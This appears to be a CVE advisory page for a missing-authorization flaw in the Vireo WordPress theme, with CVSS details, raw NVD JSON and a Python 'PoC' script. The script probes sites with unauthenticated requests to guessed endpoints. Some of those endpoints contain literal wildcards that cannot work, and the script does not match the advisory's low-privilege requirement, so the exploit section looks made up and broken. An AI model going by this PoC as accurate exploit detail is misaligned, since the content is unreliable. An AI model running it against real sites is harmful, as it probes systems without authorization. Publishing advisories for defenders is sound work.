Security Vulnerability Report
中文
CVE-2025-62751 CVSS 4.3 MEDIUM

CVE-2025-62751

Published: 2025-12-31 16:15:47
Last Modified: 2026-04-23 15:34:40

Description

Missing Authorization vulnerability in extendthemes Vireo vireo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Vireo: from n/a through <= 1.0.24.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:extendthemes:vireo:*:*:*:*:*:wordpress:*:* - VULNERABLE
Vireo <= 1.0.24

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62751 PoC - Vireo主题缺失授权漏洞 # 漏洞类型: Missing Authorization / Broken Access Control # 影响版本: Vireo <= 1.0.24 import requests import sys TARGET_URL = "http://target-site.com" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-62751 This POC attempts to access protected endpoints without proper authorization """ # Common Vireo theme endpoints that might be affected endpoints = [ "/wp-json/vireo/v1/settings", "/wp-json/vireo/v1/users/data", "/wp-json/vireo/v1/admin/*", "/wp-admin/admin-ajax.php?action=vireo_*" ] print(f"[*] Testing CVE-2025-62751 on {TARGET_URL}") print("[*] Target: extendthemes Vireo WordPress Theme") print("[*] Vulnerability: Missing Authorization (Broken Access Control)") for endpoint in endpoints: url = f"{TARGET_URL}{endpoint}" # Send request without authentication headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json" } try: response = requests.get(url, headers=headers, timeout=10) # Check if we get unauthorized access (200 OK without auth) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {endpoint} (Status: {response.status_code})") else: print(f"[*] Unknown: {endpoint} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") print("\n[*] POC execution completed") print("[*] If vulnerable endpoints found, attacker can access/modify protected data") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62751", "sourceIdentifier": "[email protected]", "published": "2025-12-31T16:15:47.040", "lastModified": "2026-04-23T15:34:40.407", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in extendthemes Vireo vireo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Vireo: from n/a through <= 1.0.24."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Extend Themes Vireo permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Vireo: desde n/a hasta 1.0.24."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:extendthemes:vireo:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.0.24", "matchCriteriaId": "947B7DC3-05F1-4E67-BE64-F7C52B7E31DF"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/vireo/vulnerability/wordpress-vireo-theme-1-0-24-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}